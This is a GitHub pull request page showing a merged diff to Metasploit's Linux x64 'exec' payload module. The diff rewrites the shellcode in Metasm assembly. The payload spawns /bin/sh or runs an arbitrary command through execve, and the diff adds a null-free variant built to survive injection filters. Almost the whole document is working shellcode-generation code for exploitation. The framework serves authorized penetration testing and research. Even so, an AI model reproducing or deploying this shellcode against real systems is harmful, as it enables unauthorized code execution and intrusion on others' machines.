Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

payloads/x64: exec.rb - refactoring, metasm, new NullFreeVersion option #15028

Merged
merged 3 commits into from
Apr 13, 2021
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 148 additions & 23 deletions modules/payloads/singles/linux/x64/exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,45 +5,170 @@

module MetasploitModule

CachedSize = 47
CachedSize = 44

include Msf::Payload::Single
include Msf::Payload::Linux

def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => 'ricky',
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
'Author' => ['ricky',
'Geyslan G. Bem <geyslan[at]gmail.com>'],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64))

register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
OptString.new('CMD', [ false, "The command string to execute" ]),
])
register_advanced_options(
[
OptBool.new('NullFreeVersion', [ true, "Null-free shellcode version", false ])
])
end

def generate_stage(opts={})
cmd = (datastore['CMD'] || '') + "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x6a\x3b" + # pushq $0x3b
"\x58" + # pop %rax
"\x99" + # cltd
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
"\x73\x68\x00" + #
"\x53" + # push %rbx
"\x48\x89\xe7" + # mov %rsp,%rdi
"\x68\x2d\x63\x00\x00" + # pushq $0x632d
"\x48\x89\xe6" + # mov %rsp,%rsi
"\x52" + # push %rdx
call + # callq 2d <run>
cmd + # .ascii "cmd\0"
"\x56" + # push %rsi
"\x57" + # push %rdi
"\x48\x89\xe6" + # mov %rsp,%rsi
"\x0f\x05" # syscall
cmd = datastore['CMD'] || ''
nullfreeversion = datastore['NullFreeVersion']

if cmd.empty?
#
# Builds the exec payload which executes a /bin/sh shell.
# execve("/bin/sh", NULL, NULL)
#
if nullfreeversion
# 22 bytes (null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f2f
cdq ; edx = NULL

push rdx
push rax
push rsp
pop rdi ; "//bin/sh"

push rdx
pop rsi ; NULL

push 0x3b
pop rax

syscall ; execve("//bin/sh", NULL, NULL)
EOS

else
# 21 bytes (not null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f
cdq ; edx = NULL

push rax
push rsp
pop rdi ; "/bin/sh"

push rdx
pop rsi ; NULL

push 0x3b
pop rax

syscall ; execve("/bin/sh", NULL, NULL)
EOS
end
else
#
# Dynamically builds the exec payload based on the user's options.
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
#
pushw_c_opt = "dd 0x632d6866" # pushw 0x632d (metasm doesn't support pushw)

if nullfreeversion
if cmd.length > 0xffff
raise RangeError, "CMD length has to be smaller than %d" % 0xffff, caller()
end
if cmd.length <= 0xff # 255
breg = "bl"
else
breg = "bx"
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
cmd += " "
end
end
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"

# 48 bytes without cmd (null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f2f
cdq ; edx = NULL

jmp tocall ; jmp/call/pop cmd address
afterjmp:
pop rbp ; *CMD*

push rdx
pop rbx
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
mov [rbp + rbx], dl ; NUL '\0' terminate cmd

push rdx
#{pushw_c_opt}
push rsp
pop rsi ; "-c"

push rdx
push rax
push rsp
pop rdi ; "//bin/sh"

push rdx ; NULL
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
push rbp ; *CMD*
push rsi ; "-c"
push rdi ; "//bin/sh"
push rsp
pop rsi ; ["//bin/sh", "-c", "*CMD*"]

push 0x3b
pop rax

syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
tocall:
call afterjmp
db "#{cmd}" ; arbitrary command
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
EOS
else
# 37 bytes without cmd (not null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f
cdq ; edx = NULL

push rax
push rsp
pop rdi ; "/bin/sh"

push rdx
#{pushw_c_opt}
push rsp
pop rsi ; "-c"

push rdx ; NULL
call continue
db "#{cmd}", 0x00 ; arbitrary command
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
continue:
push rsi ; "-c"
push rdi ; "/bin/sh"
push rsp
pop rsi ; ["/bin/sh", "-c", "*CMD*"]

push 0x3b
pop rax

syscall ; execve("/bin/sh", ["/bin/sh", "-c", "*CMD*"], NULL)
EOS
end
end
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
end
end